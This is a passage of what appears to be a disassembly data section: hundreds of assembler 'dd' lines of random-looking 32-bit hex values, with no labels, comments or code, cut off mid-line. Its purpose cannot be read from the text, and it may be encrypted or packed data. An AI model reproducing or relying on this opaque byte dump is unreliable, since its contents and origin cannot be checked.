dd 727AEB91h, 0F4F7DD6Bh, 20597160h, 0F0CDAB66h, 2A9A0932h dd 8AC84C78h, 20B3B03Ah, 0B48D58C9h, 6C6E3196h, 0C0CF167Ah dd 0BE8FE7C6h, 180CD87Ah, 919C4CFAh, 83D8567Ch, 2772C439h dd 8BD59291h, 0A9117286h, 95A4EF41h, 0FF569B23h, 815296E6h dd 0C700A2FCh, 308038C7h, 4397D0BEh, 0FF015D0Dh, 8C54B81Ch dd 6D8E27EFh, 0EF36BD93h, 97E071C6h, 0D3326DBh, 5FBC4876h dd 250AED34h, 72E42D27h, 74EA6A4Eh, 32BA98BDh, 0DF8A74D6h dd 20CD816Ah, 4648FA73h, 6054AAF8h, 9A5BDB54h, 93FC4B10h dd 8FFB318Eh, 7069B923h, 49E9E24h, 0A9B1FDF1h, 5C6C37Ch dd 0BDBA6C49h, 0B565A908h, 0E00923BDh, 0F14D1EE5h, 0E0D9B79Bh dd 35E74017h, 0D1744662h, 135ADCC2h, 41CC01ABh, 597DCC9Ch dd 0B39F56F2h, 0D279D70Bh, 962E9CEh, 0B1A635B3h, 0F7CBFC98h dd 0C6E3A477h, 0C3354CB6h, 0C35CDA7Bh, 1AE82FF6h, 5ECEFC90h dd 1C495F27h, 0DE73AB12h, 0AE9FD6CEh, 99B79843h, 1C20401Bh dd 776FBFE8h, 0AEE9FEFEh, 0B5FC3324h, 925A1A5Dh, 4FEA509h dd 839EF558h, 2B88788h, 0ED2D3E77h, 2A602CFDh, 7FD7D8C2h dd 0AC5160EDh, 0C980F8EAh, 0A3907764h, 831C40A6h, 0C21C0B76h dd 46231F4Dh, 0A0614AA3h, 6DFFB851h, 0DB6214B4h, 0CA4B1831h dd 0D3C79C16h, 57270583h, 20BF0AFDh, 73292384h, 196A8961h dd 71809263h, 5048DE8Dh, 0FD2AC21Eh, 0B6FDD348h, 0E08C1246h dd 0C206963Ch, 5FFED092h, 51477C03h, 4833D39Dh, 79345C52h dd 311698D3h, 0F16AB057h, 39AB9D0h, 0F566CBD0h, 8C235F7Bh dd 906ABA0h, 0E453ABACh, 6753C235h, 0C7E9DE66h, 668094CAh dd 6CDC075Eh, 0D9DC07C9h, 3B810D31h, 0CC8C4FE6h, 73A33F37h dd 0C3E8B320h, 0FF4FB063h, 1FF0B428h, 93F17AB4h, 0F1330106h dd 0ED8B5E48h, 4C41FBDAh, 0A76D494Dh, 2647ABEFh, 0DFEA429Bh dd 7D8099E8h, 0FFBE6981h, 0EA955FF7h, 0FF07B6CFh, 0D54B23B4h dd 0D514AFC9h, 0DEA4261Bh, 85568A5Fh, 0BAFE379Fh, 96FC55A3h dd 83CE97D8h, 0E90C5111h, 0C8512214h, 0D9722E71h, 4F57355Eh dd 8DB11A71h, 7248FC0Ah, 0A1383ADh, 81E7D21Bh, 0C9037951h dd 0E273317h, 0C3972835h, 67A44C9Bh, 0CAC3F452h, 348AD463h dd 0C04C70E9h, 0C52D3E73h, 56317A84h, 29D5BE76h, 8AB65714h dd 8D423400h, 0F4851BABh, 813E125Eh, 1D7E184Ah, 6515A5E5h dd 0CF4C130Bh, 66FF76A3h, 0B266B3FFh, 744FC062h, 816941A3h dd 0C8CC18B3h, 494D9C8Ch, 19C6D831h, 0E9260885h, 17D84391h dd 0B053C1B2h, 0F20C42AAh, 0FACA58CCh, 0EC647B07h, 3234C99Fh dd 0F74C9ABDh, 0B19BF5F3h, 7B3244ADh, 6DD19A6Eh, 0F8540CADh dd 54CF24Dh, 52AAF9D8h, 51E75BFAh, 53918968h, 7566F066h dd 84CAF36Dh, 973FD52Bh, 5E376BEFh, 2EBAB8h, 0FC78F401h dd 0B7FAEF07h, 293BC463h, 2B3B2ED8h, 0B07970E6h, 7EC13352h dd 0A6A0506Ah, 2E27E264h, 83EDA6CCh, 3A1335E7h, 3C4C2C66h dd 0A862A3D2h, 0F29AA1A3h, 0D24B6436h, 0DEBD2E90h, 98D7E877h dd 74D38F64h, 62094C77h, 0EF14BA58h, 0A0B125E4h, 1A1798AAh dd 4E9946AFh, 0DACE4431h, 878C0CB0h, 151C918Fh, 13FE48BAh dd 0B02756FBh, 7BA48000h, 8B194E81h, 762D8DA6h, 0C29B73A8h dd 6C03088Bh, 0F90932A2h, 0D6FD69C1h, 43F09BB3h, 48A1BED1h dd 22639175h, 1245BFB1h, 0E68400FCh, 5E02F8D3h, 4A3995A0h dd 0B9621E34h, 0A1EA393Ah, 0E6C4152Bh, 0E1DFD7C7h, 0CA06822Ah dd 0F9F9E998h, 71BCB4E0h, 0ACD761Ah, 88CE6FA2h, 42EAA79Bh dd 0A5A518C0h, 998518C5h, 7C187D6Eh, 5BD642FAh, 9EE48C83h dd 0C20BC7E1h, 5B04C7E5h, 652D1DDCh, 0C5E51C0Eh, 3B47B8B8h dd 517B5376h, 0E249411Dh, 49814538h, 77518C60h, 0DC0D7212h dd 8D2EFD83h, 4305D919h, 33746CB5h, 3496D050h, 7BA0FB3Ch dd 657A7D6Dh, 0DD187040h, 0FC0BD469h, 0A8C6766Ch, 0D46FB730h dd 1EE77E49h, 53673C3Ch, 56322F21h, 0A479A327h, 54451B9Bh dd 3F160177h, 25A62948h, 1F72EBB6h, 0A1D2EFD1h, 47D49BC5h dd 421EE18Bh, 5B745F5Ah, 798C058Fh, 9DE6EFBFh, 1BB7CAEAh dd 902CECB3h, 0EE843F6Eh, 3CDEAE9Bh, 39671734h, 0A1B84AB1h dd 8CF1F39Fh, 243D8640h, 9F6A986Eh, 1BC65ADDh, 5E6D3h dd 0D63E81F4h, 385A084Ch, 83C2B9A3h, 0A7589E81h, 7EA66B96h dd 9FAADACFh, 571B6BF0h, 0F7B17B1Fh, 36F3D53h, 573BF730h dd 840A7973h, 79691ECDh, 66C2BF63h, 0B4516237h, 7D2D53D8h dd 5C556C6Ch, 0A25DCDF6h, 0DDB7753Bh, 33037DDBh, 114CBEF6h dd 0DEAAFE5Ah, 45EE7E3Ah, 8B92C259h, 9344121h, 0AC42CCC6h dd 2CA96E6h, 4B06A108h, 1CAD4350h, 0F4EC472Ah, 0F195B28Bh dd 0D2A400A9h, 3F2F439Ch, 0AB249ED1h, 0F7F6F20Fh, 0BE50830Bh dd 0C9AF6ABCh, 36FA4B1h, 2007678Dh, 6EA603ABh, 0B7F33CEBh dd 0E22E9991h, 0FAD834C2h, 0CF8F33D0h, 0CA914019h, 4A35EF29h dd 0C713D369h, 0C9AD3649h, 7FAE7CECh, 19DE553Bh, 6AFF0C9Fh dd 0FA871837h, 7F33B840h, 70402016h, 993EE58h, 0CBEC49Bh dd 70C801Ah, 4A60E09Eh, 560242DBh, 0C1990A8Ah, 0D4C191FDh dd 0DDCAA595h, 0BEB398D5h, 505599E4h, 88E8E10Fh, 0E1907816h dd 0BA6F5C9Eh, 0E9C89C8Eh, 94F89D3Fh, 4473DF4Bh, 3E2E6638h dd 863A3086h, 7082F2B0h, 505EB0CDh, 896F1359h, 5D539A49h dd 0E41FE16Fh, 5C507622h, 5CAAD96Eh, 0D8C95E85h, 6D7A8438h dd 59336EA1h, 28458170h, 500C24AFh, 0A0E0E4Dh, 7D43151Ah dd 9367F8EDh, 708170E4h, 0B7F6D3B7h, 0B4B423D3h, 0A105AA06h dd 77096CA2h, 11770574h, 0FA4F6B6Bh, 10D68B5h, 4D1614C3h dd 0B442F7Bh, 0E05BA40Ah, 497BE480h, 0A9C91AB7h, 1E2CC35Dh dd 4805A269h, 679550B8h, 54BF5EAh, 0BC058752h, 63A75C98h dd 3CA388F4h, 6B857C07h, 0B5B3FE7Ah, 66009D15h, 5BC29661h dd 39990A21h, 0CD74F380h, 113C2871h, 7749435Ah, 7887A038h dd 6CAC81C5h, 0FBF503Ch, 0C9F4D786h, 8592452Bh, 8B40DE3Fh dd 76D49C36h, 0D6A43071h, 0E4CACD96h, 27B08626h, 79FC2FCEh dd 9E8D242Dh, 49139761h, 92854310h, 0A40A2EBh, 3D0C2168h dd 42C63C07h, 6DAD3BF2h, 0A6033E13h, 0C1AC6C70h, 0D14D7EA0h dd 475A9682h, 98B93ACBh, 444B6C8Eh, 926CCAEFh, 0D55D8D1Dh dd 0E10BD861h, 7B3DEEBCh, 0D5BBABC2h, 8864B9A1h, 99CFA77h dd 0C2456B09h, 22B124F2h, 19DCA8F4h, 7D543C21h, 14C75EF9h dd 0D74E0468h, 0C4FE3FDh, 67E0EFD2h, 403C06E0h, 0E3077523h dd 27C3855Ah, 4D3A630Fh, 17C0FA1Eh, 0CC879EDBh, 0C2C5167Dh dd 0BA8683BEh, 5C7B0E17h, 10310067h, 9AF0DAD1h, 48873F56h dd 0A38CB4D0h, 0EC225971h, 2B1DA0DFh, 547F2B90h, 0BCB48631h dd 875EB303h, 233B224h, 0B96C141Ch, 82659FCAh, 1FADF0E6h dd 0F7973C3Bh, 0E116EE88h, 354125C5h, 155AFEC2h, 9DE93BB4h dd 561891DAh, 1F4E9E34h, 4C6CD5ECh, 743A11C7h, 21D2E3A6h dd 0C87E15EEh, 3720F149h dd 0B978850Ch, 0B95D3305h, 970403AEh, 649B18Ch, 9121F266h dd 0E8C87D1Dh, 0A7F08D73h, 3649E72Ah, 2F76CD0Bh, 1803E58Ah dd 3D29CF36h, 9774BAD8h, 62423797h, 0B2EA4CC7h, 0C50F4928h dd 97D395BBh, 7BC27AF4h, 890AA878h, 0A5025A9h, 0BC5D98F3h dd 872CC088h, 9E8E1E0Ah, 53D1634Eh, 0E5299F54h, 83F4DD57h dd 0AA1140DDh, 0ECE8BC4Dh, 0AA8AE4E1h, 0EE6B3A9Ah, 347D439h dd 35889EDDh, 76E8978Fh, 7307A7B2h, 1AF517B7h, 0A2855975h dd 572E69CCh, 14914129h, 15D73CDDh, 4F8AA706h, 635E1B44h dd 0FC4BE63Ch, 1A48148Eh, 95B54042h, 0D9C434CFh, 28F8651Ch dd 0E8AD8B56h, 33013DB6h, 0D7213C36h, 39E53F67h, 0BC5C184Fh dd 8E960331h, 46C07A74h, 0DFEA13EAh, 0EA5A835Bh, 0E4B3077Fh dd 7D745A83h, 0F933533Dh, 73AE15Dh, 1FB53DAh, 6F20FA3Ah dd 0F84BA2F5h, 14A2706h, 0F64E88D4h, 0C3349309h, 7D7745D0h dd 968F470Fh, 40BCDF44h, 109893C6h, 401475CBh, 3946F40Bh dd 0E1F69E60h, 222ED86Dh, 2AB36C0Eh, 0EE7D79DBh, 0B49E5B5Ah dd 0E75223B5h, 438ED997h, 0B9D96590h, 5B37824Fh, 4DB59040h dd 0B84661BBh, 673E9411h, 1820CA1Dh, 9087BE1Ch, 220AFCA8h dd 7B971302h, 9B8B04BEh, 674BD4ABh, 2FE7B418h, 2B4580A1h dd 47C7F451h, 0CE2AD280h, 564E1999h, 0EBBA65E1h, 71033D0Dh dd 0E873C1F3h, 3E6BC1D5h, 0E06E9551h, 0DA872765h, 21B60A6Ah dd 6CA55B50h, 2FDD0D2Ch, 0E5469399h, 0D92E4197h, 0C84F1D7Ah dd 2DEA3857h, 315DA557h, 561E52B4h, 2A8DBC65h, 0A0F94FFDh dd 0E4EFBDD6h, 7BE49BD3h, 33492850h, 0D591891Ch, 59F30E42h dd 0A43A6D44h, 9379D307h, 0FD613CAFh, 1BB97F59h, 214AF9C2h dd 0FF508E05h, 0C6BFF40Ah, 9ADB77ABh, 0FA718D40h, 8885A08Fh dd 0FB2D87D2h, 0C026081Ah, 27FC2588h, 0F6AD4180h, 0C98DAD69h dd 85E736D0h, 0E04E8A4Ah, 697B068Eh, 50B19769h, 1D4C70F4h dd 4A75957Bh, 9A5973E6h, 0E7E14CE2h, 2C72C116h, 0B0408DAAh dd 0BBF22DE1h, 81612CE6h, 2257026Eh, 54CAA139h, 0BCF4D08Ch dd 1D42944Ch, 446E8828h, 588AEA66h, 78446404h, 0CCC03F4Bh dd 0F0B0851h, 5E7BB13Ch, 5BA785E6h, 5BCE57DBh, 0FF1F288Bh dd 31CCD659h, 33018C4Fh, 0A75816AAh, 150B3C2Fh, 0A91245D1h dd 0D1BBAB6Ch, 7BD6A3B2h, 40B1635Eh, 7DCB2C7Ch, 8F7948BCh dd 9D837BCEh, 221EDB8Dh, 4DFAB302h, 0D930C809h, 694F9E59h dd 588F72ECh, 10B8686Ah, 5AA0F5AFh, 5272CC22h, 0A629D55Ah dd 617100E0h, 461B53FEh, 34497A7Eh, 74CED957h, 19B5E5CCh dd 0DB0AE13Fh, 0FFCE0B56h, 0DB2FD595h, 3DEEA4D5h, 54384ADCh dd 0C7E48C57h, 0FFF80A09h, 38EB7F76h, 8F2A675Eh, 9003762Ch dd 9AEB3D8Dh, 76A5CED9h, 64180831h, 0D183A6A8h, 0DA5817A0h dd 2E38FCAEh, 4770219Eh, 6E70BD16h, 23945A99h, 69875FC1h dd 24BEC47h, 19D6000Eh, 0C0443C64h, 7B69AA64h, 0A801531Fh dd 0C93A1737h, 0EA7D0F9Dh, 0AD2C12CCh, 0FC033D4Ch, 0DA8AF4ADh dd 577AA942h, 952653F8h, 3E1A17F2h, 73C71C04h, 9D7F05BCh dd 0F4F7973Ah, 11DAFEABh, 1DFF0877h, 0DBF00035h, 1AE0DB24h dd 0ECA0ECD3h, 6D6136AAh, 0AA5F771Ch, 70E32B90h, 0E8FDAF69h dd 0AD3AADC3h, 2BF73163h, 41213879h, 1D22A608h, 9AF97963h dd 5C2696F3h, 45430BAFh, 4C0F985h, 0CFEBECFh, 69326AA6h dd 0A271C26Bh, 0C17410CDh, 67C35FBh, 0EC7F876h, 75D3F5D3h dd 4C09636Dh, 0E3A62A2h, 8FA54974h, 8DFA2822h, 6E12ED5h dd 89D70F60h, 0F6BA3BA5h, 18FDBE51h, 3BEB2E53h, 37234BB1h dd 7BDEECEAh, 8C1608B3h, 0A4AD0CFDh, 0D0CC7C5Dh, 11E8C079h dd 0BE77402Bh, 0C455EBCDh, 117AB801h, 31AF3700h, 1C6865B7h dd 96383911h, 0C036B79Eh, 0C1560AE6h, 7ECCFB95h, 0E1D94F2Eh dd 16642848h, 0C68D35A6h, 0BC5571Eh, 39E7678Ch, 8CEBE6BEh dd 5B1168DAh, 0B4FADEAFh, 4C403ABBh, 8C4FAE48h, 0C7E0A65Ch dd 0FFA16706h, 0C455685h, 84B66193h, 0C4F70B14h, 80B25432h dd 0C43DC39Ah, 5D1B0726h, 6014E5FEh, 1330DF97h, 0EEB2E7DFh dd 0BC12D0D5h, 0F56ED12Ah, 1880566h, 9E1EB1E6h, 371E5CA2h dd 72127A84h, 0F63B8310h, 80D493D4h, 0E7E0ABD6h, 0A53D8E7Fh dd 8514F2F6h, 23622132h, 0C662626h, 0C96BAE69h, 2700631Dh dd 5791B604h, 0B5327400h, 14D55FEAh, 0FF01C0BEh, 2EC2B1A6h dd 983C64E0h, 33CFB462h, 13B2B3CCh, 0B50B6BDBh, 0B239F4Dh dd 88731F99h, 27C11A04h, 0B22283B7h, 0A8BD016Ch, 9A2AA7D0h dd 0EC21EAAFh, 0D7E5DAADh, 0FC0E8632h, 0DD68ADE2h, 5EA4EA30h dd 0B9B57E76h, 0FF4796F1h, 57431CD2h, 0B091D9F5h, 38EB72DCh dd 72A88B3Fh, 0AEC86CA5h, 67FDF308h, 0BE4A1BD2h, 557B04C9h dd 0A3119BE2h, 0ED80B49Eh, 0DED02C9h, 8BC3A7CCh, 90535C36h dd 0EFB72E2Eh, 834DF2DEh, 7E19288Ah, 601F1C19h, 278EDB0Dh dd 0A9059845h, 0ACBE4B00h, 0C4B22067h, 16B41841h, 52D7B657h dd 0FFBFE072h, 0CBDFE06Fh, 0E879EAFFh, 1678EA0Ch, 753FBC9Fh dd 0B8FC1ACAh, 1634E9B1h, 36ECDFD5h, 0D6FA52D4h, 0B737D018h dd 8C142190h, 5F4EB28Eh, 769B9AB3h, 0F1DA9B5Ch, 0FB273C44h dd 0D64628B2h, 0BDD0F4B0h, 725112B4h, 85F2B178h, 0A2AAC8D0h dd 4282C581h, 0F7FF349Ah, 5D9F6B01h, 4D39EDB5h, 62C342D2h dd 0AE78809Bh, 0D575C26Ah, 99CAB4B8h, 0BE37B2DAh, 20C6AF09h dd 0D5EFF8E3h, 0DBA12D37h, 4C9F35F8h, 7CA93AD9h, 66E5316Ch dd 9D1351A8h, 342BC95Bh, 5F5E6F8Eh, 99F3E9E8h, 0DCF4361Fh dd 406A1B5Dh, 5F9095EDh, 4412734h, 0D564DA6h, 369F1DC7h dd 0EC6DF843h, 559EEF2Dh, 0AFFDA48Bh, 30B97B6Eh, 0CC5F1A6Fh dd 0CD9E30C3h, 30434721h, 0B3BA69BDh, 0A5590C9Fh, 0A8D1C752h dd 0F43B5A51h, 89643287h, 0A11E91Ch, 64060C07h, 64063467h dd 9D8CA028h, 0DD2B64Bh, 0DD84CDEBh, 0F9924A34h, 0A6551E5Dh dd 0A994F924h, 0C74F0789h, 7410E63Fh, 84610E29h, 713BEBE2h dd 0F916566Ah, 7CFF7FA6h, 6D1AB034h, 0F1230BB0h, 9589EE11h dd 8867C8F7h, 0E58233BEh, 8165EC0Dh, 57164AD1h, 44CB57CCh dd 42EB2A22h, 8C4AFC73h, 6112921Bh, 0FF44B09Ch, 0F9BD586Ch dd 24B76DA0h, 0E9F195ABh, 0BEC83C86h, 98F0B9E1h, 2DF99BA3h dd 40803FF7h, 0E80591DAh, 6D5F8346h, 1638F6B5h, 95E98565h dd 0CD613401h, 0CA2457A1h, 16F24BC5h, 2D649888h, 2F4DBF75h dd 66EB0476h, 7721A48h, 8CE6F8C7h, 14182C12h, 0FE47B46Dh dd 0A82A2C5Bh, 1A7E5AC7h, 2A6BB73h, 6BF44591h, 552CD9FDh dd 9D186804h, 0E40C2311h, 200EE403h, 97531C56h, 0B7044D37h dd 84B7EDE8h, 7F786B93h, 0B681773h, 601A78D7h, 218E97D5h dd 31C0BE75h, 9B9799B0h, 42839661h, 3CDF21B1h, 7C4A7517h dd 3DE1A739h, 0B8C0BD67h, 0E8A11C88h, 1AB6D755h, 97876E79h dd 94101BB1h, 28A80F0Eh, 15DB939Eh, 9BAE06BCh, 1653F647h dd 5042509Bh, 81B1058Ch, 405C52D3h, 5B44E4EDh, 52565F3Ah dd 3BE365A6h, 0BEF56DF3h, 34854602h, 5A679E9Bh, 0CFC26E07h dd 0CC1C8906h, 40087A2Eh, 96FFF066h, 4FB78BE7h, 42258389h dd 20227D86h, 27CA6AA6h, 8E4C8563h, 33457A45h, 61631946h dd 16644F7Eh, 5811B8AEh, 0FE681BE0h, 3F1707B2h, 0FD5CDC24h dd 67FE8B13h, 66DFFB3Fh, 0FD8749B4h, 0A6DD898Dh, 47A9C634h dd 441E1411h, 63AAE17Dh dd 61757260h, 0CE91A38Fh, 25D85B50h, 93BD0302h, 769F810Bh dd 0F533CC78h, 52C9E82Bh, 0D825968Ch, 0B989CC18h, 31078335h dd 3CEA97A0h, 0AD79AB23h, 0C4EE0A25h, 64B27F2Dh, 89D7F2BFh dd 0EA33B42Dh, 0DBD6F952h, 6622EBFFh, 673958A4h, 3CC35155h dd 9A17155Ah, 4A99A3FDh, 0B99B6C80h, 0F5436CD4h, 7AB530h dd 6F928182h, 4B9E13E8h, 8E55DC2h, 0B9AD163Dh, 8FF6C711h dd 124C223Ch, 73D903A4h, 0E20532E1h, 0F71D7BE7h, 0D785977Bh dd 0B7FB0F67h, 3DE5E768h, 3F712DF4h, 0E56F4DAFh, 0EFA0AE53h dd 225A2D3h, 9F2B078Ch, 54D1A931h, 73EC114Eh, 0B8EE07D4h dd 967B302Dh, 8FA75213h, 0DE834B39h, 867AB1A6h, 194F3E0Ah dd 98ADA6D8h, 1143D1A5h, 986B433Fh, 5A98B58h, 2F6781ACh dd 7E207E53h, 1EA841Bh, 79885C32h, 46AB8B83h, 86295D17h dd 0CFD8B967h, 2D287A2Ch, 9DDDE9A9h, 4470C375h, 0AF5298F2h dd 4C0820DAh, 6B6411C5h, 2847A530h, 0D399256Dh, 0CF21646Dh dd 0BBAC6A2Eh, 7213D591h, 3490C83Dh, 2D13185Ah, 0F719F4C7h dd 917D07AEh, 925BF60Dh, 0B58A4288h, 701520C5h, 0E2ED2DDDh dd 0F252762Bh, 0FD286D00h, 217A8202h, 5F65197Eh, 0DB9F1ECCh dd 8531B3CFh, 7058B6C0h, 76D86884h, 0C7BBA1F4h, 0EC594146h dd 3A679AE1h, 0FF83610Ah, 0CD4E5396h, 24831210h, 5A9C1942h dd 71468DF9h, 0AA30D81Fh, 3CB42AA6h, 0D8226E3Fh, 7E81D2E3h dd 4B19A271h, 0FF63C0Eh, 0C42AB547h, 771BC567h, 0FE07CFF1h dd 5E3403D3h, 0E7F0B755h, 9B56B409h, 1BB6085Dh, 354E1C56h dd 0FD9F2166h, 4F216EE8h, 64F1691Dh, 0A5D3C20h, 0DEA31F84h dd 98F2B604h, 83D78D70h, 0E7C98250h, 4F99E1C5h, 0A83C21Ah dd 81570B76h, 49AA8072h, 9DD52500h, 9CF5B0FFh, 0AB71A97Eh dd 0C8063DA0h, 2F5B6A03h, 0CB3CF72Eh, 0E266A0Fh, 0AEFF7865h dd 1F62E6B2h, 0ADAB965Ah, 1EB706D9h, 0ECA430E5h, 6E7B5DCAh dd 5FE425EFh, 38A6B61Bh, 33D28665h, 601947FDh, 0D954AAA6h dd 0B8A1333h, 2D0DAD45h, 527C8E2Eh, 53ABE523h, 5E7B305Dh dd 0DF99C2A5h, 0E4A4D09Ch, 0C31526CFh, 5561C272h, 0E0E7987Ch dd 2DDAA615h, 7E2F4052h, 1058953Dh, 0EB308B65h, 0E1D8B290h dd 8F1798FFh, 4141A71Eh, 9C7C05BEh, 3124AE18h, 0FDAC50D1h dd 7EDAA7D1h, 1E8BC620h, 44D35E83h, 764B24E4h, 0A29EB462h dd 1B0C0037h, 0D928583Bh, 97A86C36h, 3F551E72h, 0F3675D39h dd 0FC37400Eh, 14545C38h, 9549D734h, 0A801D60h, 7BB04F1h dd 63FDCA89h, 55859921h, 823E4833h, 0E605DE12h, 20BE6157h dd 500761B7h, 0CF74A4EAh, 13367C9Ch, 40821AC2h, 2CE7AA46h dd 0C4F13A6Dh, 40F4CC28h, 0F4C96505h, 7F305352h, 4F3CBDE2h dd 0AEDCF1D1h, 9376D454h, 466BF7DDh, 0BDD02F5Ah, 2A881E1Ah dd 0F6820AEDh, 0C48A4EBh, 9347C50Fh, 0B7C1D73Bh, 0EA72BAD3h dd 0B6331227h, 1D82EBECh, 7EF54660h, 9DBDE267h, 0D0857EDBh dd 0AC126C97h, 13BFA758h, 0FCDCBB5Ch, 67F39A0Ah, 5B5B74C0h dd 6FD33F9Dh, 1CE9B746h, 0A9A1F8E2h, 0DD536147h, 3D15B2B2h dd 262B5249h, 0E5F090D3h, 844FBE9Eh, 3A3EC2F1h, 579A4AFEh dd 0D45D03h, 0E0B3FAFCh, 0E90F1CA6h, 59BAF392h, 0F70804C0h dd 0DA5B4EB9h, 5799B298h, 314763E4h, 97C7AEF6h, 0B65BC405h dd 3715D549h, 5EB71AA3h, 0AE98C060h, 6615901Ch, 6B738381h dd 0E0685786h, 94F8D426h, 6F562D03h, 350176D3h, 1A828624h dd 6643379Eh, 1F995441h, 0F67D1269h, 1596835h, 1CB89B1Eh dd 143C3101h, 1AB27A79h, 11641614h, 0EA804030h, 4C1210BAh dd 749272BCh, 0FF0BDF5Eh, 0F7826131h, 4600B558h, 9E31AC1Eh dd 6E8B7D12h, 675EDA97h, 0E2A8F510h, 0ABC32486h, 0D8FFF742h dd 5F043034h, 5E898B5Ch, 0C8FC18CCh, 6AC36FBAh, 0FE397F6Bh dd 4F87CE17h, 0D21CAF36h, 0B001D7E7h, 0DAE1D176h, 2DF93E46h dd 749B45C6h, 1C6303EEh, 34522169h, 47648DEAh, 864CF452h dd 744F5832h, 0DA6E5E25h, 9B7B4440h, 37F4D4F8h, 0D231CB0Dh dd 2ADD6EA7h, 0E06161A8h, 9BF32618h, 440B0CD0h, 6C3590B4h dd 6B8749B6h, 0EEA77A44h, 3EE7B28Ch, 0D135C096h, 0E9EC2565h dd 85951330h, 0ACA01073h, 0E5BCE1B8h, 0A1F6ABCh, 6E0B7121h dd 3E88D686h, 4EF579B7h, 3E2D6A31h, 9E4232B2h, 10DFC824h dd 68AA61E8h, 0D731C45Ah, 0EF7BAA3Fh, 4CAA9A46h, 0F37A85DFh dd 2D3EE089h, 3B59D287h, 0EFAF47E5h, 0DFC3CD11h, 433487B2h dd 0D2419CACh, 0FE4CB5D3h, 41DE6B27h, 4D26FADh, 4C505C70h dd 0B52FAE08h, 5AD2DEBDh, 279B6692h, 769C8448h, 37E894D9h dd 112AA023h, 2B89E540h, 9732F50Ah, 4CC9129Ah, 0B8A3444Eh dd 9967D61Bh, 33D24EEAh, 0EE40A0DAh, 0A8AB0F23h, 0D9AA482Eh dd 52374002h, 3286AECDh, 0B993CAAFh, 0ADAA3DD8h, 68087D6Fh dd 0BF9E051Eh, 1F272103h, 500AC654h, 9ECD4B22h, 8B6B0E60h dd 4E4CA06Eh, 3B0B3A15h, 4DB49997h, 0F9298B41h, 762F60DAh dd 0FEE6255Dh, 108CEC2h, 8E072264h, 0EC55788h, 943CF8ACh dd 0ED0C98BCh, 569101FAh, 0F5AD9F72h, 0E00C9477h, 0EC363F69h dd 8E7684D6h, 0BFF8C7C1h, 0B4A43536h, 0C1E71020h, 5C1E8451h dd 0D74F00A9h, 253858Fh, 54D23C91h, 0D879F75Dh, 8CF4FA42h dd 0C9394A23h, 5ACBEBB4h, 2DF7FB28h, 2A4F47Dh, 7772CFCCh dd 0A192FB8Eh, 0C5F8C6BBh, 259640E6h, 3C3F7EDDh, 0C38CDBAFh dd 11F11804h, 0A41A2BC1h, 2E8CA7Dh, 7EDD4724h, 0D9B63B2Ch dd 361D54BDh, 477BD2D1h, 710AED3Dh, 0D159CA7Bh, 1EBEAA0Fh dd 94CEA8A9h, 634F0DB3h, 3E37272Bh, 0A8D352C3h, 570CDD1Bh dd 8F16B1E5h, 5F2615Ah, 30AC9088h, 205CC916h, 0F7A1D425h dd 19A6ECE9h, 0FF40EB54h, 3415A761h, 0B575A500h, 0EC6D6271h dd 0C8B738D7h, 81495172h, 0B479F004h, 2588A211h, 5AF3456h dd 25E4FD86h, 6C2AD586h, 1B2A48BAh, 958C8212h, 98F915A1h dd 120FD729h, 36146EB0h, 5DBFE06Bh, 922C873Eh, 5903CE43h dd 44F754FCh, 0A7D6EF2Ah, 0F159D832h, 485C2FD5h, 9C3B641Fh dd 72039FF3h, 47F0AC34h, 0BD96F3AEh, 765EA610h, 0C13C26DCh dd 5DFD843Ch, 33A675E1h, 0FA8ADAC6h, 8D14866Ch, 0A05D0091h dd 7871DE7Ah, 0B5935F1Bh, 1385B299h, 756281AFh, 19F25F72h dd 0F11D98ADh, 0C3ABCF10h, 23A92914h, 6E5EDE7Ch, 0A31EE08Dh dd 0A37DAB82h, 43533641h, 4CBB78C7h, 6269D826h, 0B704CB4Fh dd 58972CA0h, 86998B9Ch, 8E77FD02h, 0CEC5C73h, 0C3E563E1h dd 0F366980Eh, 0D0804DA9h, 0D8B12B3Ch, 94CA663Bh, 163A58B1h dd 0C524151Fh, 61670D41h, 12A195FCh, 0BCC1B7CAh, 64F270A1h dd 0CFC66195h, 0F95E0A5Eh, 13580ACFh, 5DA334A9h, 25407728h dd 0F7B0C050h, 6926918Fh, 9D8ED11Ah, 3AB039D0h, 57F73FA4h dd 0E16E78AEh, 0F1A5D392h, 0D03F101Ch, 0E3F18121h, 160BD959h dd 0C9166FF8h, 0E5B8E0B0h, 922D07ACh, 99038E1Ah, 4F774C0h dd 47D69F24h, 0B959C12Ah, 305C2BDBh, 0F83B661Dh, 0EC0398F2h dd 1EF0AD34h, 5916F32Eh, 0E79EA6D1h, 0F65C26BCh, 59033E13h dd 1CB37C5Dh, 36EADB7Ah, 0E4CAD24Bh, 6DD420E1h, 0B51F3914h dd 1881BF8Ah, 17F3BCF6h, 5D0B738Fh, 259AE200h, 0B73CEAC4h dd 0A98B0A5Fh, 0C4B847Bh, 6414BF71h, 0D7869779h, 956DA0C2h dd 0F5B4990h, 5CBF7D46h, 622CDD49h, 0B70BCBB7h, 0B896ACB2h dd 0DB8C585h, 0EE45DF1Fh dd 428DACFBh, 27841FD8h, 5F669C68h, 0F48043DCh, 0EEB12AFCh dd 9DCA66F5h, 1AAA588Bh, 0C7E4154Fh, 66470D63h, 5111958Ch dd 96F9B782h, 59A11E1h, 0C3C86187h, 79570B1Fh, 535C8A37h dd 0BFA1F4B9h, 0B54397F0h, 8FB34050h, 8D26D99Fh, 0C38EED1Bh dd 2D700BC0h, 2C1B61D6h, 38AE7FCDh, 0F0C5D218h, 0D8CF11CCh dd 0A4298137h, 1627D9A7h, 0C9606FE0h, 0E5A1E0ACh, 0D22187B2h dd 19404E05h, 0C4F614DFh, 67D60F5Bh, 515E087Ah, 385C37F1h dd 0F43B700Dh, 0EE0391CAh, 1DF0D138h, 5A96F1A8h, 67DEA190h dd 0B67C279Ch, 0B9133E83h, 0CBB7C85h, 0CEEEDB06h, 0E0C8D246h dd 0D3D720D8h, 981CB918h, 9401FF70h, 86339CF4h, 852B438Eh dd 26ADA00h, 0C124EEC4h, 0A087085Fh, 10CD877Bh, 48D5BC71h dd 0A4DE718Dh, 0F2DC6302h, 0F232AC4h, 5CA36AA6h, 6222D477h dd 0B702D777h, 0B8922E4Ch, 8DBA3AEAh, 0E4A3E08h, 4CEC3C40h dd 63E53364h, 0B366B06Eh, 3881B1D2h, 0CCB13155h, 0AECA61E7h dd 112A59B7h, 4BA4158Ch, 0A4270D82h, 3201959Ch, 4F31B79Ah dd 6CAA7099h, 0B3AA6199h, 0FB440B78h, 8C570AC8h, 9E25B4A8h dd 8501B728h, 87907050h, 8129619Fh, 8186A91Bh, 0B42DC0h dd 